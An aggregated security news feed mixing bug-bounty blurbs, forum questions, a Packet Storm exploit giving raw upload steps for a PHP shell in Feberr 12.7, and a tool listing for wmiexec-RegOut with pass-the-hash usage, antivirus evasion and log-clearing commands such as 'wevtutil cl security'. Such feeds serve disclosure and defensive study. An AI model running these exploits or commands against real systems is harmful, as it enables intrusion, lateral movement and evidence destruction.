At Immunefi, we receive a large number of reports from whitehats regarding subdomain takeovers. But we have a policy of always marking…Continue reading on Immunefi » (https://medium.com/immunefi/subdomain-takeover-bugs-when-theyre-applicable-and-when-they-re-not-1e6ce42de503?source=rss------bug_bounty-5)

[Bugbounty]SSRF — IFRAME INJECTION E XSS REFLECTED
https://medium.com/@kauenavarro/bugbounty-ssrf-iframe-injection-e-xss-reflected-4f107b380ba?source=rss------bug_bounty-5

Hoje vou falar um pouco de uma falha que me levou a dois relatórios infelizmente ambos foram duplicados porém ficou de experiência e…Continue reading on Medium » (https://medium.com/@kauenavarro/bugbounty-ssrf-iframe-injection-e-xss-reflected-4f107b380ba?source=rss------bug_bounty-5)

Dark Reading: Attacks/Breaches
Hackers Went Wild in 2021 — Every Company Should Do These 5 Things in 2022

Practical steps companies can take to defend their critical infrastructure and avoid the financial and reputational damage that could result from a breach.

hacking: security in practice
Learning hacking the "right way"

Hi, I'm a high school student and I've been interested in computer science for almost two years now, and "recently" got into ethical hacking and specifically pen-testing. So, I know that learning a field like this is not easy, so I'm kind of skeptical about online courses. I think for me a more traditional way of learning would be more effective, but c'mon I don't want to wait until university, I'm just too interested to wait, and just like I learned programming, I think I'll be able to learn at least something about pen-testing... given the right tools tho. So, do you have some tips on where to find the material? I first thought of the university syllabuses while looking at the courses themselves for roadmaps, but I don't know if I'll be able to get everything I need (of course I prefer free stuff, so I'll think twice before buying stuff I don't know if it'll be useful or not), so maybe there's a better option...

submitted by /u/Dumb-Ptr
[link] [comments]

hacking: security in practice
xss on cookie

It's my first time to post here and sorry for dumb question. is this a valid xss?

HTTP request

GET / HTTP/2 Host: test.com ... Cookie: UUID:abc

HTTP response is like
HTTP/2 200 OK Set-cookie: UUID=abc ... ....


submitted by /u/xxxx_Blank_xxxx
[link] [comments]

Exploit Collector
Feberr 12.7 Shell Upload

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Feberr version 12.7 suffers from a remote shell upload vulnerability.

MD5 | 1e6ac2a7255ff92cbf7fabd5b44df251

Download
# Exploit Title: Feberr - Multivendor Digital Products Marketplace arbitrary file upload
# Version 12.7
# Google Dork: N/A
# Date: 24/01/2022
# Exploit Author: Sohel Yousef - sohel.yousef@yandex.com
# Software Link: https://www.codester.com/items/14224/feberr-multivendor-digital-products-marketplace
# Software link 2 :https://www.codecanor.com/product/feberr-multivendor-digital-products-marketplace/
# Software Demo : https://overtasks.com/demo/feberr
# Category: webapps

Feberr - Multivendor Digital Products Marketplace contain arbitrary file upload
registered vendor can upload .php files in edit-item section using tinymce with use of intercept tool in burbsuite to edit the raw

details

after register as vendor on the system go and edit or add an item in the section of detailes there tinymce
direct link :
https://localhost/feberr/edit-item/
POST /demo/feberr/upload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: ar,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------429310566417994448462725662126
Content-Length: 179156
Origin: https://overtasks.com
Connection: close
Referer: https://localhost /demo/feberr/edit-item/PFRLZAmzwdWFNWnlgxUaxbLIO
Cookie: XSRF-TOKEN=eyJpdiI6InNxSGJaQjZ0UDYzamhnT2lXL09FWmc9PSIsInZhbHVlIjoiOEZCSVBnL3orczdpc2p4RE40ZmhlWCtKck1UNURET2EwWTdyeEtDVUR0Q1pMa2RLSXphSjNTbWJnRVlNS3Jld1U2d1lucWRNMDg1RVUybWdXTlMzMDAzUHcrdjNiM0IyWXRDbk01dzJJZU0zK3ZOWFlVM2JkTFRTZzdMMGhmN1UiLCJtYWMiOiIzYzU2ZTFkNThjZGQ5ZTI0ZWNiNzUzNWEyM2E4ZTk0OTZlZWYzMDc2NDAxOWU5NjZhNjkzNzQ5ZTIzMTA2NGRjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNKa1RRUHgvVStWYy85MkNuVFI2RlE9PSIsInZhbHVlIjoiUk8vMWMrS0NNLzczUWdSdFBnck1sSmdzVUhkckdQYUtORlczSGFDNWRJN1MvbGx0VGFNUkVCTS9jb1I3L25PbkdBc29hODltMXVTTVlxQVlIQ1FSaWtmVWwzWkNYVUlOQUk2Q04zbmwxdzRSQXdiRTF4WVhTTy9IaWp0V2dwM0UiLCJtYWMiOiIzMDY1ODI4ODkwZTczNjJkNjZhYmE3YjJiZWFiNzA0ODNhNTdmY2RkYjFhMmFlODQ3MTg1OTAyMDFiNWM1NjMwIiwidGFnIjoiIn0%3D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------429310566417994448462725662126
Content-Disposition: form-data; name="file"; filename="blobid1643057738041.jpg" >>>>>>>>>>>>>>> CHANGE THIS TO .php
Content-Type: image/jpeg
you will have the direct link to your uploaded file using tinymce editor

Source:packetstormsecurity.com

Beethoven X Joins Balancer Labs’ Bug Bounty Program

In April 2021, Balancer Labs decided to go big in pursuit of uncovering vulnerabilities in their V2 Vault architecture with the launch of…Continue reading on Balancer Protocol »
Read more...

Hacking on Medium
Hacker apprehended while the group remains at large

https://cdn-images-1.medium.com/max/1024/1*9PJHeX3LpQtphWXlFBEmnQ.png
When you hear about something called The Dark Overlord, you might expect it to be something related to a movie or video game. Not so, here…

Continue reading on Medium »

Hacking on Medium
Top 10 Online Scam Frauds In India

https://cdn-images-1.medium.com/max/795/1*uhJIfjpVS4yXqitEwb30YQ.jpeg
फ्रेंड्स अगर आप आर्टिकल को पूरा पढना चाहते हें तो निचे दिए लिंक को copy करें और अपने ब्राउज़र में पेस्ट करे ,या आप मेरी वेबसाइट पर सीधा…

Continue reading on Medium »

Hacking on Medium
5 señales de que su identidad ha sido robada

https://cdn-images-1.medium.com/max/1580/0*PSiHAEryivf48g2v
PUBLICADO EN 2 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

wmiexec-RegOut - Modify Version Of Impacket Wmiexec.Py, Get Output(Data,Response) From Registry, Don'T Need SMB Connection, Also Bypassing Antivirus-Software In Lateral Movement Like WMIHACKER

Modify version of impacket wmiexec.py,wmipersist.py. Got output(data,response) from registry, don't need SMB connection, but I'm in the bad code :( Specially Thanks to: @rootclay, wechat: _xiangshan Overview In original wmiexec.py, it get response from smb connection (port 445,139). Unfortunately, some antivirus software are monitoring these ports as high risk. In this case, I drop smb connection function and use others method to execute command. wmiexec-reg-sch-UnderNT6-wip.py: Executed command by using win32-scheduledjob class. According to xiangshan, win32-scheduledjob class only works under windows NT6 (windows-server 2003). BTW, win32_scheduledjob has been disabled by default after windows NT6. Here is the way how to enable it. Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration Name: EnableAt Type: REG_DWORD Value: 1 wmipersist-wip.py (Highly recommend, !!!only works on impacket v0.9.24!!!): A Python version of WMIHACKER, which I picked the vbs template from it. Attacker can use it to do lateral movement safety under antivirus-software running. wmiexec-regOut.py: Just a simple Win32_Process.create method example . How it works? wmiexec-wip.py workflow: Step 1: WMIC authenticated remotly Step 2: Use win32process class and call create method to execute command. Then, write down the result into C:\windows\temp directory named uuid.txt Step 3: Encode the file content to base64 strings (need to wait a few seconds) Step 4: Add the converted base64 string into registry, and key name call uuid Step 5: Get the base64 strings remotly and decode it locally. wmipersist-wip.py workflow: Step 1: Add custom vbs script into ActiveScriptEventConsumer class. Step 2: Creating an Event Filter. Step 3: Trigger FilterToConsumerBinding class to PWNED! Requirements Generally, you just need to install official impacket. Portal Usage wmiexec-wip.py usage: With cleartext password Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration Name: EnableAt Type: REG_DWORDValue: 1 With NTLM hashes python3 wmiexec-reg.py administrator:111qqq...@192.168.10.90 'whoami' wmipersist-wip.py usage (Default is no output): With cleartext password (without output) python3 wmiexec-reg.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 administrator@192.168.10.90 'whoami' With NTLM hashes python3 wmipersist-wip.py administrator:111qqq...@192.168.10.20 'command' With output python3 wmipersist-wip.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 administrator@192.168.10.90 'whoami' Under Huorong antivirus-software (Using WMIHACKER VBS template!!!) Cheatsheet Do not forget to clean up temp directory after run command with out put. Command: del /q /f /s C:\windows\temp\* Command include double quotes. Make double quotes inside single quotes wevtutil cl '"security"' Todo Optimize code (In bad code now.) Add more functions References https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py https://github.com/360-Linton-Lab/WMIHACKER https://github.com/FortyNorthSecurity/WMIOps https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/operating-system-classes Download wmiexec-RegOut
Read more...

KitPloit - PenTest Tools!
wmiexec-RegOut - Modify Version Of Impacket Wmiexec.Py, Get Output(Data,Response) From Registry, Don'T Need SMB Connection, Also Bypassing Antivirus-Software In Lateral Movement Like WMIHACKER

http://2.bp.blogspot.com/-GL2EQ1Qe_3g/Yd0N7sgsdvI/AAAAAAAA8Bc/dXLQpCbOrqQLU_qqPvMPvLuyYsPXSRODgCK4BGAYYCw/w588-h640/wmiexec-RegOut_6-773981.png Modify version of impacket wmiexec.py,wmipersist.py. Got output(data,response) from registry, don't need SMB connection, but I'm in the bad code :( Specially Thanks to:* @rootclay, wechat: _xiangshanOverviewIn original wmiexec.py, it get response from smb connection (port 445,139). Unfortunately, some antivirus software are monitoring these ports as high risk.
In this case, I drop smb connection function and use others method to execute command.

* wmiexec-reg-sch-UnderNT6-wip.py: Executed command by using win32-scheduledjob class. According to xiangshan, win32-scheduledjob class only works under windows NT6 (windows-server 2003).
BTW, win32_scheduledjob has been disabled by default after windows NT6. Here is the way how to enable it. Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration Name: EnableAt Type: REG_DWORD Value: 1 *
wmipersist-wip.py (Highly recommend, !!!only works on impacket v0.9.24!!!): A Python version of WMIHACKER, which I picked the vbs template from it. Attacker can use it to do lateral movement safety under antivirus-software running.

*
wmiexec-regOut.py: Just a simple Win32_Process.create method example . How it works?* wmiexec-wip.py workflow:Step 1:

* WMIC authenticated remotly

Step 2:

* Use win32process class and call create method to execute command. Then, write down the result into C:\windows\temp directory named [uuid].txt

Step 3:

* Encode the file content to base64 strings (need to wait a few seconds)

Step 4:

* Add the converted base64 string into registry, and key name call [uuid]

Step 5:

* Get the base64 strings remotly and decode it locally.

* wmipersist-wip.py workflow:Step 1:

* Add custom vbs script into ActiveScriptEventConsumer class.

Step 2:

* Creating an Event Filter.

Step 3:

* Trigger FilterToConsumerBinding class to PWNED! RequirementsGenerally, you just need to install official impacket.

* Portal Usage* wmiexec-wip.py usage:With cleartext password Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration
Name: EnableAt
Type: REG_DWORD
Value: 1 http://2.bp.blogspot.com/-Y_akxGXZ6vM/Yd0N5z1f9oI/AAAAAAAA8A0/Zjy-YaxeVDMl5JmvlWGssjkltFt2D2-ogCK4BGAYYCw/w640-h156/wmiexec-RegOut_1-767589.png With NTLM hashes python3 wmiexec-reg.py administrator:111qqq...@192.168.10.90 'whoami'http://4.bp.blogspot.com/-gtG5y0ed7c4/Yd0N6ajbTDI/AAAAAAAA8A8/Q7tQUNu1hAsM0Hg6r19hAtuhTb-wDyH9wCK4BGAYYCw/w640-h216/wmiexec-RegOut_2-768850.png * wmipersist-wip.py usage (Default is no output):With cleartext password (without output) python3 wmiexec-reg.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 administrator@192.168.10.90 'whoami'http://4.bp.blogspot.com/-GhLISOio0DA/Yd0N6jv2KyI/AAAAAAAA8BE/qWVBetp9X2QRszDWhtlmYmnooLWUoslvACK4BGAYYCw/w640-h210/wmiexec-RegOut_3-770101.png With NTLM hashes python3 wmipersist-wip.py administrator:111qqq...@192.168.10.20 'command'http://3.bp.blogspot.com/-rib347oxFog/Yd0N6ySUiSI/AAAAAAAA8BM/4F9sWYu8h80x7Lfjle2Q6BcvijcDxVOdgCK4BGAYYCw/w640-h144/wmiexec-RegOut_4-771415.png With output python3 wmipersist-wip.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 administrator@192.168.10.90 'whoami'http://4.bp.blogspot.com/-4208dmA_5SU/Yd0N7ZljyOI/AAAAAAAA8BU/k7c95nLcG5cz8EkUVT9AHIrUt[...]